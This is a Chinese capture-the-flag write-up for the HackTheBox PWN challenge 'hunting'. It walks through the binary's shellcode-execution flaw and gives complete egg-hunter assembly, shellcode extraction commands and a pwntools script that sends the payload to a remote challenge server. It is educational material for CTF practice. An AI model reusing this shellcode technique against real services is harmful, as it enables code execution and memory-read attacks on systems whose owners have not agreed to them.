CTF|HackTheBox PWN题 hunting WP

admin 2023年6月8日18:04:05评论180 views字数 2814阅读9分22秒阅读模式
CTF|HackTheBox PWN题 hunting WP



0x01  Hack the box介绍

Hack the box(简称HTB)是国外的一个网络安全靶场,提供Machine(网络攻击靶机)、Challenges(CTF)等玩法。国内可以直连访问,注册后可免费提供部分题目。



这篇文章主要分享的是2020/11/27号上线,PWN题hunting的相关解题思路。“工欲善其事必先利其器”,需要准备以下工具:


  • 一台LINUX虚拟机(可选,调试必要)

  • Pwntools (Python)

  • GDB

  • Nasm

  • IDA(后台回复IDA,提供v7.7,一键绿色版带插件


0x02  基本分析


首先,我们简单测试一下程序,了解一下程序流程,发现1. 开启了pie保护2. 不管输入什么都会程序中止。
CTF|HackTheBox PWN题 hunting WP
CTF|HackTheBox PWN题 hunting WP
结合题目提示,猜测是需要在程序中找到flag。
CTF|HackTheBox PWN题 hunting WP
接着我通过IDA反汇编,Strings窗口(快捷键SHIFT+F12)中发现字符串HTB{XXX},这个是假的flag,只有在服务器运行时,才会拿到真正的flag,不过我们可以猜测出flag长度0x24,“不会闲来无事打这么多X”。
CTF|HackTheBox PWN题 hunting WP

接着看程序,跟到sub_1460(),我发现一些问题。

CTF|HackTheBox PWN题 hunting WP

(1)在sub_13D0中,发现在0x5fffffff和0xf7000000之间生成了一个随机数,作为后面的strcpy的地址

CTF|HackTheBox PWN题 hunting WP

(2)alarm()函数用于生成一个SIGALRM信号,在10秒后结束进程。

(3)mmap()函数实现一个调用进程虚拟内存映射,并且起始地址为sub_13D0生成的随机数。

(4)strcpy()把flag写到那个随机地址内存里,再通过memset()把原先存放flag内存置0。

(5)典型的一套写入shellcode执行漏洞,mmap()申请堆空间,第三个参数为7代表可读可写可执行,并read()接收60字节输入,最后执行。


根据以上分析,可以知道,我们需要在进程内存里寻找flag,并有一个可以执行60字节shellcode的漏洞。这里就用到了一项技术egg hunter,简单来说,egg hunter 是一段小巧的shellcode,它是为了在内存里定位shellcode并执行它,溢出空间受限时可以使用。在这道题里,可以使用它搜索内存中的egg,也就是flag。


0x03  实现EXP


首先,我们要提取egg hunter的shellcode,我们需要系统调用三个函数来帮助我们寻找flag并且把它打印出来,分别是:

  • alarm() 提高进程结束时间,10S应该是足够的,但是不完成这一步,会显示timeout
  • access() 寻找flag
  • write() 打印flag
CTF|HackTheBox PWN题 hunting WP

由此,我们可以开始写汇编代码

global _start

section .text

_start:  push 0x64                  ; 为alarm()设置100  pop ebx  push 0x1b                  ; eax = 27 -> alarm()  pop eax  int 0x80                   ; 调用 alarm()  mov edi, dword 0x7b425448  ; egg = "{BTH" 小端存储的flag头,我们要去找这个  mov edx, 0x5FFFFFFF        ; flag 起始地址
next_page:  or dx, 0xfff            ; Linux x86 一页内存=4K dx=0x1000 - 1
next_address:  inc edx                 ; edx = 4096  pusha                   ; push 8个寄存器  xor ecx, ecx            ; arg2 置 0  lea ebx, [edx + 0x4]    ; 验证内存冲突  mov al, 0x21            ; access systemcall  int 0x80  cmp al, 0xf2            ; 比较返回值 bad address = EFAULT (0xf2) 则越界  popa                    ; pop 8个寄存器  jz next_page            ; 如果bad address 跳到next_page  cmp [edx], edi          ; 对比flag头  jnz next_address        ; 如果没有找到flag 跳到next_address  mov ecx, edx            ; flag地址给到write第二个参数  push 0x24               ; flag长度0x24 给到write第三个参数  pop edx  push 0x1                ; write()第一个参数,fd = 1 标准输出  pop ebx  mov al, 0x4             ; write systemcall  int 0x80


然后汇编,链接,提取shellcode,命令如下


nasm -f elf32 ./payload.asm && ld -m elf_i386 payload.o -o payload

objdump -d ./payload|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'


CTF|HackTheBox PWN题 hunting WP


提取到shellcode,接下来我们就可以写EXP了。


from pwn import *
payload = b"x6ax64x5bx6ax1bx58xcdx80xbfx48x54x42x7bxbaxffxffxffx5fx66x81xcaxffx0fx42x60x31xc9x8dx5ax04xb0x21xcdx80x3cxf2x61x74xebx39x3ax75xecx89xd1x6ax24x5ax6ax01x5bxb0x04xcdx80"
print("shellcode lenth:",len(payload))
r = remote("144.126.198.200",32617)#r = process("./hunting")
r.send(payload)flag = r.recv()print("flag: " + flag.decode())
r.close()

Flag Captured!


CTF|HackTheBox PWN题 hunting WP


感谢阅读,如文章有什么不足,欢迎师傅们指正。欢迎大家留言、私信、携手成长。

0x04  免责声明

    本文仅限于技术研究学习,切勿将文中技术细节用作非法用途,如有违者后果自负。

关于我们


“TERRA星环”安全团队正式成立于2020年,是贵州泰若数字科技有限公司旗下以互联网攻防技术研究为目标的安全团队。团队核心成员长期从事渗透测试、代码审计、应急响应等安服工作,多次参与国家、省级攻防演练行动,具备丰富的安服及攻防对抗经验。

团队专注于漏洞挖掘、漏洞研究、红蓝对抗、CTF夺旗、溯源取证、威胁情报、代码审计、逆向分析等研究。对外提供安全评估、安全培训、安全咨询、安全集成、应急响应等服务。


原文始发于微信公众号(TERRA星环安全团队):CTF|HackTheBox PWN题 hunting WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月8日18:04:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF|HackTheBox PWN题 hunting WPhttp://cn-sec.com/archives/1788537.html

发表评论

匿名网友 填写信息